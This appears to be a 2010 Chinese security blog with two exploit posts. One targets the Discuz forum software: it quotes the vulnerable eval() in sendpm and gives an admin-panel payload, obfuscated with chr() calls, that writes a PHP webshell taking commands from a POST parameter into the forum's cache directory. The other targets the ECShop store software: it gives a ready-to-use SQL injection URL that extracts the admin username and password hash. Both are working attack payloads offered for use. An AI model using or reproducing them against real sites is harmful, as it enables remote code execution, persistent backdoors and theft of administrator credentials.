2010年10月19日星期二

【原创】Discuz非创始人管理员代码执行

global.func.php
function sendpm($toid, $subject, $message, $fromid = '') {
        if($fromid === '') {
                require_once DISCUZ_ROOT.'./uc_client/client.php';
                $fromid = $discuz_uid;
        }
        if($fromid) {
                uc_pm_send($fromid, $toid, $subject, $message);
        } else {
                global $promptkeys;
                if(in_array($subject, $promptkeys)) {
                        $type = $subject;
                } else {
                        extract($GLOBALS, EXTR_SKIP);
                        require_once DISCUZ_ROOT.'./include/discuzcode.func.php';
                        eval("\$message = addslashes(\"".$message."\");"); //无过滤,可插入代码
                        $type = 'systempm';
                        $message = '
'.$subject.' {time}'.discuzcode($message, 1, 0).'
';
                }
                sendnotice($toid, $message, $type);
        }
}
POC:
1. admincp.php?frames=yes&action=members&operation=newsletter
2. 发短消息,通知内容为:{${phpinfo()}}

EXP - (fputs(fopen('forumdata/cache/cache_01.php','w'),'');) :
{${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(95).chr(48).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}

2010年10月5日星期二

ecshop 通杀2.6*2.7 GBK版本 0DAY修改版

“俺是农村娃”丢出了个Ecshop 2.6*2.7 GBK版本漏洞,稍微修改了Exp,更简单快捷了
http://localhost/ecshop/api/checkorder.php?username=%ce%27%20and%201=2%20union%20select%201%20and%20%28select%201%20from%28select%20count%28*%29,concat%28%28Select%20concat%280x5b,user_name,0x3a,password,0x5d%29%20FROM%20ecs_admin_user%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%20%23

2010年10月1日星期五